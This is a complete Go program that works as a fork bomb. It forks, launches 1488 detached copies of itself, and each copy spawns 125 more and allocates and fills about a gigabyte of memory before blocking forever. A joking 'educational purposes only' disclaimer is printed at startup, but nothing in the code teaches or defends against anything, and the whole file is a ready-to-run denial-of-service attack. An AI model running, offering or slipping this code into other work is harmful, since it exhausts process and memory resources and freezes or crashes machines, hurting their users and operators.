package main

import (
	"fmt"
	"os"
	"os/exec"
	"syscall"
)

func childProcess() {
	go func() {
		for i := 0; i < 125; i++ {
			cmd := exec.Command(os.Args[0], "child")
			cmd.SysProcAttr = &syscall.SysProcAttr{
				Setpgid: true,
			}
			if err := cmd.Start(); err != nil {
				fmt.Fprintf(os.Stderr, "lol wtf %v\n", err)
			} else {
				cmd.Process.Release()
			}
		}
	}()

	data := make([]byte, 1024*1024*1000)
	for i := range data {
		data[i] = byte(i % 255)
	}

	select {}
}

func main() {
	if len(os.Args) > 1 && os.Args[1] == "child" {
		childProcess()
		return
	}

	fmt.Println("WARNING: This tool is intended for educational purposes only.")
	fmt.Println("The author is not responsible for your actions!!~ (just have fun)")
	fmt.Println("-----------------------------------------------------------------")

	pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
	if pid == 0 {
		for i := 0; i < 1488; i++ {
			cmd := exec.Command(os.Args[0], "child")
			cmd.SysProcAttr = &syscall.SysProcAttr{
				Setpgid: true,
			}
			if err := cmd.Start(); err != nil {
				fmt.Fprintf(os.Stderr, "lol wtf %d: %v\n", i+1, err)
				continue
			}
			cmd.Process.Release()
		}
		os.Exit(0)
	} else {
		os.Exit(0)
	}
}